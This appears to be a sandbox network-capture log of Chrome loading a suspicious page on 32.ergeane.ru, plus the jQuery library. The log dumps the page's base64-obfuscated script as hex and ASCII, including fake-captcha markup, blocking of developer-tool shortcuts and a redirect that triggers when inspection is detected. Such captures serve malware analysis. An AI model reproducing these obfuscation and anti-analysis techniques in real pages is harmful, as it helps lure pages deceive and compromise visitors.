2024-12-18 13:54:25 UTC	716	OUT	GET /yNriUGk0/ HTTP/1.1 Host: 32.ergeane.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://8h2f94s.actransbelgium.be/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:54:26 UTC	1250	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:54:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1AIj5Z3y1a8mqut0ka7h5fuUzbe0ONrP8JJIUoPQod6LaIvb0Tsc4Dhq8uONm9lETEWheDZQFD%2BJDwQeXkGSlyHSVHZX9aFBclF6dsfQy%2FptuE4wXi9XiD2SOw0Idg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&min_rtt=1278&rtt_var=821&sent=343&recv=95&lost=0&retrans=0&sent_bytes=396026&recv_bytes=11737&delivery_rate=46283261&cwnd=283&unsent_bytes=0&cid=f1038c376397ccd9&ts=427520&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik5XZm13Wm1ablA2V1hueFdLeE83bkE9PSIsInZhbHVlIjoieUd2ZVJmSTVHM2RzQWx5MTRaaEFmUEY3VVcrbk1jQTUySzNRMDhrWlpNdk81cXFQMGZ2RFZ2UGtMUUJWOEVPOWNWU1VoeTJSRFZYbVN5NFd2OHR1ZXNrSVFyNVROZ0lyRUlwMEFUZEdrS0pLTy90ZDhaR3NrTmZBN3lGbjFVcXgiLCJtYWMiOiIxOTYzOTU5NjZjMmY5Y2ZlMDhmMGZhMGYwZDc2ODM3YWNmNmEwOGJkNTkwYWNmMmMxNzAyZjE2MDE3MjkzZjI4IiwidGFnIjoiIn0%3D; expires=Wed, 18-Dec-2024 15:54:26 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-18 13:54:26 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 39 73 55 32 78 46 53 54 56 48 52 56 42 47 4e 6c 68 4d 55 44 6b 7a 65 48 4a 4a 4d 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 69 38 33 55 56 55 34 54 6a 4a 56 63 6d 39 72 4f 45 78 48 56 57 5a 6a 56 6b 31 51 54 6c 4e 32 61 6d 5a 4a 4e 6b 64 47 62 6a 63 30 59 32 59 78 62 7a 42 31 63 44 4a 51 65 45 45 33 5a 46 6c 4f 53 6c 6b 77 54 79 74 50 5a 6d 39 42 53 6b 55 7a 56 6b 35 71 52 58 70 4c 63 45 70 71 62 44 68 4f 62 47 74 55 55 47 31 74 51 30 39 44 63 7a 51 78 57 6e 6c 44 62 54 56 68 55 33 4e 4d 55 55 56 6c 65 44 5a 79 53 6b 68 77 64 6b 4a 4e 64 32 77 7a 54 44 4e 42 59 32 39 71 4f 45 64 49 5a 6a 5a 6a 5a 47 38 34 4e 32 78 34 51 55 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik9sU2xFSTVHRVBGNlhMUDkzeHJJMVE9PSIsInZhbHVlIjoiQi83UVU4TjJVcm9rOExHVWZjVk1QTlN2amZJNkdGbjc0Y2YxbzB1cDJQeEE3ZFlOSlkwTytPZm9BSkUzVk5qRXpLcEpqbDhObGtUUG1tQ09DczQxWnlDbTVhU3NMUUVleDZySkhwdkJNd2wzTDNBY29qOEdIZjZjZG84N2x4QUs
2024-12-18 13:54:26 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 7a 4d 69 35 6c 63 6d 64 6c 59 57 35 6c 4c 6e 4a 31 4c 33 6c 4f 63 6d 6c 56 52 32 73 77 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 0d 0a Data Ascii: cb<script>if(atob("aHR0cHM6Ly8zMi5lcmdlYW5lLnJ1L3lOcmlVR2swLw==") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0
2024-12-18 13:54:26 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 47 31 6c 64 47 45 67 61 48 52 30 63 43 31 6c 63 58 56 70 64 6a 30 69 57 43 31 56 51 53 31 44 62 32 31 77 59 58 52 70 59 6d 78 6c 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 4a 52 54 31 46 5a 47 64 6c 4c 47 4e 6f 63 6d 39 74 5a 54 30 78 49 6a 34 4e 43 69 41 67 49 43 41 38 62 57 56 30 59 53 42 75 59 57 31 6c 50 53 4a 79 62 32 4a 76 64 48 4d 69 49 47 4e 76 62 6e 52 6c 62 6e 51 39 49 6d 35 76 61 57 35 6b 5a 58 67 73 49 47 35 76 5a 6d 39 73 62 47 39 33 49 6a 34 4e 43 69 41 67 49 Data Ascii: 7ffaIHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgI
2024-12-18 13:54:26 UTC	1369	IN	Data Raw: 4e 43 69 41 67 49 43 42 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4f 69 41 6a 4d 44 41 77 4d 44 41 77 4f 47 45 37 44 51 6f 67 49 43 41 67 5a 6d 78 6c 65 43 31 6b 61 58 4a 6c 59 33 52 70 62 32 34 36 49 47 4e 76 62 48 56 74 62 6a 73 4e 43 69 41 67 49 43 42 68 62 47 6c 6e 62 69 31 70 64 47 56 74 63 7a 6f 67 59 32 56 75 64 47 56 79 4f 77 30 4b 49 43 41 67 49 47 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 44 6f 67 63 33 42 68 59 32 55 74 59 6d 56 30 64 32 56 6c 62 6a 73 4e 43 69 41 67 49 43 42 69 62 33 4a 6b 5a 58 49 36 49 44 46 77 65 43 42 7a 62 32 78 70 5a 43 41 6a 4d 47 59 77 5a 54 42 6c 4f 77 30 4b 49 43 41 67 49 48 42 68 5a 47 52 70 62 6d 63 36 49 44 49 77 63 48 67 67 4d 54 42 77 65 44 73 4e 43 69 41 67 49 43 42 33 61 57 52 30 61 44 6f 67 4d 7a Data Ascii: NCiAgICBiYWNrZ3JvdW5kOiAjMDAwMDAwOGE7DQogICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMGYwZTBlOw0KICAgIHBhZGRpbmc6IDIwcHggMTBweDsNCiAgICB3aWR0aDogMz
2024-12-18 13:54:26 UTC	1369	IN	Data Raw: 62 47 6c 6b 49 43 4d 30 59 32 46 6d 4e 54 41 37 44 51 6f 67 49 43 41 67 59 6d 39 79 5a 47 56 79 4c 58 64 70 5a 48 52 6f 4f 69 41 77 49 44 4e 77 65 43 41 7a 63 48 67 67 4d 44 73 4e 43 69 41 67 49 43 42 30 63 6d 46 75 63 32 5a 76 63 6d 30 36 49 48 4a 76 64 47 46 30 5a 53 67 30 4e 57 52 6c 5a 79 6b 37 44 51 70 39 44 51 6f 4e 43 69 35 6a 59 58 42 30 59 32 68 68 4c 58 52 6c 65 48 51 67 65 77 30 4b 49 43 41 67 49 47 5a 76 62 6e 51 74 5a 6d 46 74 61 57 78 35 4f 69 42 42 63 6d 6c 68 62 43 77 67 63 32 46 75 63 79 31 7a 5a 58 4a 70 5a 6a 73 4e 43 69 41 67 49 43 42 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 44 45 30 63 48 67 37 44 51 6f 67 49 43 41 67 62 47 56 6d 64 44 6f 67 4e 6e 42 34 4f 77 30 4b 49 43 41 67 49 47 4e 76 62 47 39 79 4f 69 41 6a 5a 6d 5a 6d 5a 6d 5a Data Ascii: bGlkICM0Y2FmNTA7DQogICAgYm9yZGVyLXdpZHRoOiAwIDNweCAzcHggMDsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZSg0NWRlZyk7DQp9DQoNCi5jYXB0Y2hhLXRleHQgew0KICAgIGZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsNCiAgICBmb250LXNpemU6IDE0cHg7DQogICAgbGVmdDogNnB4Ow0KICAgIGNvbG9yOiAjZmZmZmZ
2024-12-18 13:54:26 UTC	1369	IN	Data Raw: 48 52 6f 4f 69 42 6a 59 57 78 6a 4b 44 45 77 4d 43 55 67 4c 53 41 79 4d 48 42 34 4b 54 73 4e 43 69 41 67 49 43 42 77 59 57 52 6b 61 57 35 6e 4f 69 41 31 63 48 67 37 44 51 6f 67 49 43 41 67 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 69 41 78 4e 6e 42 34 4f 77 30 4b 49 43 41 67 49 48 52 6c 65 48 51 74 59 57 78 70 5a 32 34 36 49 47 4e 6c 62 6e 52 6c 63 6a 73 4e 43 6e 30 4e 43 67 30 4b 4c 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 39 75 64 47 56 75 64 43 42 69 64 58 52 30 62 32 34 67 65 77 30 4b 49 43 41 67 49 48 42 68 5a 47 52 70 62 6d 63 36 49 44 56 77 65 43 41 78 4d 48 42 34 4f 77 30 4b 49 43 41 67 49 47 5a 76 62 6e 51 74 63 32 6c 36 5a 54 6f 67 4d 54 5a 77 65 44 73 4e 43 69 41 67 49 43 42 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4c 57 4e 76 62 47 39 79 4f 69 41 6a Data Ascii: HRoOiBjYWxjKDEwMCUgLSAyMHB4KTsNCiAgICBwYWRkaW5nOiA1cHg7DQogICAgZm9udC1zaXplOiAxNnB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCg0KLmNhcHRjaGEtY29udGVudCBidXR0b24gew0KICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgIGZvbnQtc2l6ZTogMTZweDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAj
2024-12-18 13:54:26 UTC	1369	IN	Data Raw: 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a 61 47 6c 6d 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 33 4d 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 6a 63 70 49 48 78 38 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 Data Ascii: 5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVud
2024-12-18 13:54:26 UTC	1369	IN	Data Raw: 6d 49 44 34 67 56 6c 42 68 61 48 68 48 59 32 74 55 53 43 41 6d 4a 69 41 68 57 58 52 4c 64 55 52 55 5a 6d 31 72 61 69 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 5a 30 78 30 61 6c 6c 72 63 46 4e 76 57 69 41 39 49 48 52 79 64 57 55 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 5a 64 45 74 31 52 46 52 6d 62 57 74 71 49 44 30 67 64 48 4a 31 5a 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 58 42 73 59 57 4e 6c 4b 43 64 6f 64 48 52 77 63 7a 6f 76 4c 33 52 79 59 57 35 7a 62 47 46 30 5a 53 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 4a 79 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 30 4e 43 69 41 67 49 43 42 39 4c 43 41 78 4d 44 41 70 4f 77 Data Ascii: mID4gVlBhaHhHY2tUSCAmJiAhWXRLdURUZm1raikgew0KICAgICAgICAgICAgZ0x0allrcFNvWiA9IHRydWU7DQogICAgICAgICAgICBZdEt1RFRmbWtqID0gdHJ1ZTsNCiAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3RyYW5zbGF0ZS5nb29nbGUuY29tJyk7DQogICAgICAgIH0NCiAgICB9LCAxMDApOw
2024-12-18 13:54:26 UTC	1369	IN	Data Raw: 5a 6e 55 34 51 6c 42 78 4f 55 45 76 64 54 68 43 55 48 55 33 51 6b 31 52 61 55 67 34 55 57 78 48 4c 33 55 35 51 6c 42 35 4f 45 45 76 4b 79 39 42 54 57 4e 71 53 48 49 34 5a 30 6c 4e 59 32 6c 49 63 31 56 70 53 48 5a 31 4f 45 45 76 65 54 68 42 4f 46 56 6f 53 44 68 56 5a 30 68 6d 63 54 68 42 4c 33 6b 72 51 54 68 5a 61 55 68 32 64 54 6c 43 55 47 55 76 51 55 31 6a 61 6b 6c 4e 56 57 6c 49 4f 46 6c 70 53 48 5a 78 4f 45 4a 6d 64 54 68 43 54 56 56 70 53 55 31 56 61 55 6c 51 65 54 68 43 5a 6e 45 32 51 6d 4e 52 61 45 68 32 64 54 68 43 54 56 46 6e 53 47 5a 74 4e 30 4a 4e 55 57 64 4a 54 33 52 46 54 6d 51 35 51 55 31 50 64 45 4e 4f 5a 58 42 45 54 6d 56 6b 53 55 31 4e 55 57 70 49 4b 33 42 45 54 6d 56 6f 51 30 34 72 4d 55 52 4f 5a 58 52 45 54 6b 31 4e 61 30 6c 4e 55 57 6c Data Ascii: ZnU4QlBxOUEvdThCUHU3Qk1RaUg4UWxHL3U5QlB5OEEvKy9BTWNqSHI4Z0lNY2lIc1VpSHZ1OEEveThBOFVoSDhVZ0hmcThBL3krQThZaUh2dTlCUGUvQU1jaklNVWlIOFlpSHZxOEJmdThCTVVpSU1VaUlQeThCZnE2QmNRaEh2dThCTVFnSGZtN0JNUWdJT3RFTmQ5QU1PdENOZXBETmVkSU1NUWpIK3BETmVoQ04rMUROZXRETk1Na0lNUWl
2024-12-18 13:54:26 UTC	1369	IN	Data Raw: 54 5a 72 5a 57 6b 76 57 57 52 71 65 6e 49 76 57 58 63 32 53 32 5a 55 59 54 6c 47 4c 32 5a 47 5a 6d 5a 33 5a 32 45 72 61 57 49 30 5a 45 35 52 5a 69 38 76 56 30 68 52 55 45 4a 4f 4f 45 70 74 5a 79 39 30 64 44 63 31 54 46 42 6c 5a 48 68 73 63 6d 35 33 64 6e 46 32 4e 7a 4e 51 4d 7a 56 32 4e 33 70 6f 5a 46 4e 36 64 44 68 50 55 53 39 49 4f 47 4a 4b 59 6a 56 59 57 6e 67 34 4c 33 70 5a 57 56 4e 31 52 6b 68 57 51 30 52 71 4c 32 6b 77 64 32 78 4e 59 56 42 76 54 55 4e 71 54 32 5a 6c 64 6d 35 78 52 6a 42 6d 64 47 49 33 57 58 56 77 54 44 46 36 54 48 5a 59 65 6d 52 45 54 32 5a 35 63 33 59 30 61 32 5a 54 4d 33 4e 77 4e 57 56 6d 55 47 52 6f 61 6b 73 30 4d 6d 55 78 4e 6a 4a 73 4c 30 67 76 61 46 4d 76 64 6a 4a 79 57 6c 4e 70 59 6d 34 35 56 79 74 75 55 45 78 58 56 6a 42 55 Data Ascii: TZrZWkvWWRqenIvWXc2S2ZUYTlGL2ZGZmZ3Z2EraWI0ZE5RZi8vV0hRUEJOOEptZy90dDc1TFBlZHhscm53dnF2NzNQMzV2N3poZFN6dDhPUS9IOGJKYjVYWng4L3pZWVN1RkhWQ0RqL2kwd2xNYVBvTUNqT2Zldm5xRjBmdGI3WXVwTDF6THZYemRET2Z5c3Y0a2ZTM3NwNWVmUGRoaks0MmUxNjJsL0gvaFMvdjJyWlNpYm45VytuUExXVjBU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49744	151.101.66.137	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:54:28 UTC	619	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://32.ergeane.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:54:29 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 18 Dec 2024 13:54:29 GMT Age: 3051601 X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890035-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 4 X-Timer: S1734530069.127052,VS0,VE0 Vary: Accept-Encoding
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 